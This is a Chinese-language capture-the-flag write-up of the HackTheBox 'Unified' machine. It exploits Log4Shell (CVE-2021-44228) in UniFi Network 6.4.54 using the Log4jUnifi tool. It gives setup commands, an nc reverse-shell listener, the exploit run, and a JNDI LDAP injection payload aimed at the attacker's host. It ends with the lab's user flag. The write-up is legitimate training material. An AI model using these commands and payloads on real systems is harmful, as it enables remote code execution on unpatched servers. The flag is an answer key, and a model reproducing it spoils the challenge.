目標:Hackthebox的Unified實例
通過nmap工具掃描,可以獲得該目標運行的端口以及服務,了解到該目標運行web應用,用https:// 10.129.232.197:8443 訪問得知,似乎是一個網絡設備的管理頁面,根據提示,該頁面為Unifi Network設備管理頁面,並且版本為:6.4.54。
利用搜索引擎查找根據Unifi Network 6.4.54版本相關的漏洞,得知該版本存在漏洞:CVE-2021-44228。后文即為利用該漏洞獲得對目標的shell權限,並提取到user flag。
第一步:根據下述步驟在Kali Linux安裝docker
#apt update
#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add –
#echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' |
#sudo tee /etc/apt/sources.list.d/docker.list
#apt update
#apt remove docker docker-engine docker.io
#apt install docker-ce -y
#systemctl start docker
#systemctl enable docker
第二步:下載CVE-2021-44228漏洞利用Docker鏡像
執行下述命令在kali Linux安裝JDK以及maven:
#apt update && apt install openjdk-11-jre maven
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt
#mvn package -f utils/rogue-jndi/
下載並制作Docker Log4jUnifi
的
鏡像:
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .
此時在Kali Linux 上用openVPN連接上Hackthebox,啟動Unified實例,然后在kali Linux用nc啟動監聽:
# nc -nlvp 1234 -s 10.10.14.165
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://
10.129.232.197:8443 -i 10.10.14.165 -p 1234
輸出:
{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}
成功拿到shell
並得到用戶flag:
6ced1a6a89e666c0620cdb10262ba127